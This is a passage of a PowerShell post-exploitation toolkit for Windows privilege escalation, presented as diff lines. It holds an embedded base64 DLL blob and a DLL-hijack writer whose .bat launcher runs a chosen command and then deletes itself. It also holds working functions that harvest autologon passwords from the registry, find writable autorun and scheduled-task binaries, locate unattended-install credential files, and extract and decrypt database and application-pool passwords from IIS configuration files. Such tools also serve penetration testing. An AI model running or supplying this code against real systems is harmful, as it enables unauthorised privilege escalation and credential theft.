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" + + if($Arch) { + if($Arch -eq "x64") { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) + } + elseif($Arch -eq "x86") { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) + } + else{ + Throw "Please specify x86 or x64 for the -Arch" + } + } + else { + # if no architecture if specified, try to auto-determine the arch + if ($Env:PROCESSOR_ARCHITECTURE -eq "AMD64") { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) + $Arch = "x64" + } + else { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) + $Arch = "x86" + } + } + + if(!$BatPath) { + $parts = $OutputFile.split("\") + $BatPath = ($parts[0..$($parts.length-2)] -join "\") + "\debug.bat" + } + else { + # patch in the appropriate .bat launcher path + $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatPath + } + + # build the launcher .bat + if (Test-Path $BatPath) { Remove-Item -Force $BatPath } + "@echo off\n" | Out-File -Encoding ASCII -Append $BatPath + "start /b $Command" | Out-File -Encoding ASCII -Append $BatPath + 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $BatPath + + ".bat launcher written to: $BatPath" + + Set-Content -Value $DllBytes -Encoding Byte -Path $OutputFile + "$Arch DLL Hijacker written to: $OutputFile" + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputFile' $OutputFile + $Out | Add-Member Noteproperty 'Architecture' $Arch + $Out | Add-Member Noteproperty 'BATLauncherPath' $BatPath + $Out | Add-Member Noteproperty 'Command' $Command + $Out +} + + +######################################################## +# +# Registry Checks +# +######################################################## + +function Get-RegAlwaysInstallElevated { +<# + .SYNOPSIS + + Checks if the AlwaysInstallElevated registry key is set. + This meains that MSI files are always run with SYSTEM + level privileges. + + .EXAMPLE + + PS C:\> Get-RegAlwaysInstallElevated + + Checks if the AlwaysInstallElevated registry key is set. +#> + + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") { + + $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)" + + if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){ + + $HKCUval = (Get-ItemProperty -Path "hkcu:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)" + + if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){ + Write-Verbose "AlwaysInstallElevated enabled on this machine!" + $True + } + else{ + Write-Verbose "AlwaysInstallElevated not enabled on this machine." + $False + } + } + else{ + Write-Verbose "AlwaysInstallElevated not enabled on this machine." + $False + } + } + else{ + Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist" + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Get-RegAutoLogon { +<# + .SYNOPSIS + + Checks for DefaultUserName/DefaultPassword in the Winlogin registry section + if the AutoAdminLogon key is set. + + .EXAMPLE + + PS C:\> Get-RegAutoLogon + Finds any autologon credentials left in the registry. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb +#> + + [CmdletBinding()] + Param() + + $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue) + + Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)" + + if ($AutoAdminLogon.AutoAdminLogon -ne 0){ + + $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName + $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName + $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword + $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName + $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName + $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword + + if ($DefaultUserName -or $AltDefaultUserName) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName + $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName + $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword + $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName + $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName + $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword + $Out + } + } +} + + +function Get-VulnAutoRun { +<# + .SYNOPSIS + + Returns HKLM autoruns where the current user can modify + the binary/script (or its config) specified. + + .EXAMPLE + + PS C:\> Get-VulnAutoRun + + Return vulneable autorun binaries (or associated configs). +#> + + [CmdletBinding()]Param() + $SearchLocations = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce", + "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService", + "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService", + "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService" + ) + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { + + $Keys = Get-Item -Path $_ + $ParentPath = $_ + + ForEach ($Name in $Keys.GetValueNames()) { + + $Path = $($Keys.GetValue($Name)) + + $Path | Get-ModifiableFile | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name" + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out + } + } + } + + $ErrorActionPreference = $OrigError +} + + +######################################################## +# +# Misc. +# +######################################################## + +function Get-VulnSchTask { +<# + .SYNOPSIS + + Returns scheduled tasks where the current user can modify + the script associated with the task action. + + .EXAMPLE + + PS C:\> Get-VulnSchTask + + Return vulnerable scheduled tasks. +#> + + [CmdletBinding()]Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $Path = "$($ENV:windir)\System32\Tasks" + + # recursively enumerate all schtask .xmls + Get-ChildItem -Path $Path -Recurse | Where-Object { ! $_.PSIsContainer } | ForEach-Object { + try { + $TaskName = $_.Name + $TaskXML = [xml] (Get-Content $_.FullName) + if($TaskXML.Task.Triggers) { + + $TaskTrigger = $TaskXML.Task.Triggers.OuterXML + + # check schtask command + $TaskXML.Task.Actions.Exec.Command | Get-ModifiableFile | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'TaskName' $TaskName + $Out | Add-Member Noteproperty 'TaskFilePath' $_ + $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out + } + + # check schtask arguments + $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiableFile | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'TaskName' $TaskName + $Out | Add-Member Noteproperty 'TaskFilePath' $_ + $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger + $Out + } + } + } + catch { + Write-Debug "Error: $_" + } + } + + $ErrorActionPreference = $OrigError +} + + +function Get-UnattendedInstallFile { +<# + .SYNOPSIS + + Checks several locations for remaining unattended installation files, + which may have deployment credentials. + + .EXAMPLE + + PS C:\> Get-UnattendedInstallFile + + Finds any remaining unattended installation files. + + .LINK + + http://www.fuzzysecurity.com/tutorials/16.html +#> + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $SearchLocations = @( "c:\sysprep\sysprep.xml", + "c:\sysprep\sysprep.inf", + "c:\sysprep.inf", + (Join-Path $Env:WinDir "\Panther\Unattended.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend.xml"), + (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"), + (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"), + (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml") + ) + + # test the existence of each path and return anything found + $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'UnattendPath' $_ + $Out + } + + $ErrorActionPreference = $OrigError +} + + +function Get-Webconfig { +<# + .SYNOPSIS + + This script will recover cleartext and encrypted connection strings from all web.config + files on the system. Also, it will decrypt them if needed. + + Author: Scott Sutherland - 2014, NetSPI + Author: Antti Rantasaari - 2014, NetSPI + + .DESCRIPTION + + This script will identify all of the web.config files on the system and recover the + connection strings used to support authentication to backend databases. If needed, the + script will also decrypt the connection strings on the fly. The output supports the + pipeline which can be used to convert all of the results into a pretty table by piping + to format-table. + + .EXAMPLE + + Return a list of cleartext and decrypted connect strings from web.config files. + + PS C:\>get-webconfig + user : s1admin + pass : s1password + dbserv : 192.168.1.103\server1 + vdir : C:\test2 + path : C:\test2\web.config + encr : No + + user : s1user + pass : s1password + dbserv : 192.168.1.103\server1 + vdir : C:\inetpub\wwwroot + path : C:\inetpub\wwwroot\web.config + encr : Yes + + .EXAMPLE + + Return a list of clear text and decrypted connect strings from web.config files. + + PS C:\>get-webconfig | Format-Table -Autosize + + user pass dbserv vdir path encr + ---- ---- ------ ---- ---- ---- + s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No + s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No + s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No + s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes + s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 + http://www.netspi.com + https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx + http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe + http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + + .NOTES + + Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. + for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings +#> + + [CmdletBinding()]Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + # Check if appcmd.exe exists + if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add("user") + $Null = $DataTable.Columns.Add("pass") + $Null = $DataTable.Columns.Add("dbserv") + $Null = $DataTable.Columns.Add("vdir") + $Null = $DataTable.Columns.Add("path") + $Null = $DataTable.Columns.Add("encr") + + # Get list of virtual directories in IIS + C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | + ForEach-Object { + + $CurrentVdir = $_ + + # Converts CMD style env vars (%) to powershell env vars (env) + if ($_ -like "*%*") { + $EnvarName = "`$Env:"+$_.split("%")[1] + $EnvarValue = Invoke-Expression $EnvarName + $RestofPath = $_.split("%")[2] + $CurrentVdir = $EnvarValue+$RestofPath + } + + # Search for web.config files in each virtual directory + $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object { + + # Set web.config path + $CurrentPath = $_.fullname + + # Read the data from the web.config xml file + [xml]$ConfigFile = Get-Content $_.fullname + + # Check if the connectionStrings are encrypted + if ($ConfigFile.configuration.connectionStrings.add) { + + # Foreach connection string add to data table + $ConfigFile.configuration.connectionStrings.add| + ForEach-Object { + + [String]$MyConString = $_.connectionString + if($MyConString -like "*password*") { + $ConfUser = $MyConString.Split("=")[3].Split(";")[0] + $ConfPass = $MyConString.Split("=")[4].Split(";")[0] + $ConfServ = $MyConString.Split("=")[1].Split(";")[0] + $ConfVdir = $CurrentVdir + $ConfPath = $CurrentPath + $ConfEnc = "No" + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) + } + } + + } + else { + + # Find newest version of aspnet_regiis.exe to use (it works with older versions) + $aspnet_regiis_path = Get-ChildItem -Recurse -filter aspnet_regiis.exe c:\Windows\Microsoft.NET\Framework\ | Sort-Object -Descending | Select-Object fullname -First 1 + + # Check if aspnet_regiis.exe exists + if (Test-Path ($aspnet_regiis_path.FullName)){ + + # Setup path for temp web.config to the current user's temp dir + $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config" + + # Remove existing temp web.config + if (Test-Path ($WebConfigPath)) + { + Remove-Item $WebConfigPath + } + + # Copy web.config from vdir to user temp for decryption + Copy-Item $CurrentPath $WebConfigPath + + #Decrypt web.config in user temp + $aspnet_regiis_cmd = $aspnet_regiis_path.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' + $Null = Invoke-Expression $aspnet_regiis_cmd + + # Read the data from the web.config in temp + [xml]$TMPConfigFile = Get-Content $WebConfigPath + + # Check if the connectionStrings are still encrypted + if ($TMPConfigFile.configuration.connectionStrings.add) + { + + # Foreach connection string add to data table + $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { + + [String]$MyConString = $_.connectionString + if($MyConString -like "*password*") { + $ConfUser = $MyConString.Split("=")[3].Split(";")[0] + $ConfPass = $MyConString.Split("=")[4].Split(";")[0] + $ConfServ = $MyConString.Split("=")[1].Split(";")[0] + $ConfVdir = $CurrentVdir + $ConfPath = $CurrentPath + $ConfEnc = "Yes" + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) + } + } + + }else{ + Write-Verbose "Decryption of $CurrentPath failed." + $False + } + }else{ + Write-Verbose "aspnet_regiis.exe does not exist in the default location." + $False + } + } + } + } + + # Check if any connection strings were found + if( $DataTable.rows.Count -gt 0 ) { + + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique + } + else { + + # Status user + Write-Verbose "No connectionStrings found." + $False + } + + } + else { + Write-Verbose "Appcmd.exe does not exist in the default location." + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Get-ApplicationHost { + <# + .SYNOPSIS + + This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system. + + .DESCRIPTION + + This script will decrypt and recover application pool and virtual directory passwords + from the applicationHost.config file on the system. The output supports the + pipeline which can be used to convert all of the results into a pretty table by piping + to format-table. + + .EXAMPLE + + Return application pool and virtual directory passwords from the applicationHost.config on the system. + + PS C:\>get-ApplicationHost + user : PoolUser1 + pass : PoolParty1! + type : Application Pool + vdir : NA + apppool : ApplicationPool1 + user : PoolUser2 + pass : PoolParty2! + type : Application Pool + vdir : NA + apppool : ApplicationPool2 + user : VdirUser1 + pass : VdirPassword1! + type : Virtual Directory + vdir : site1/vdir1/ + apppool : NA + user : VdirUser2 + pass : VdirPassword2! + type : Virtual Directory 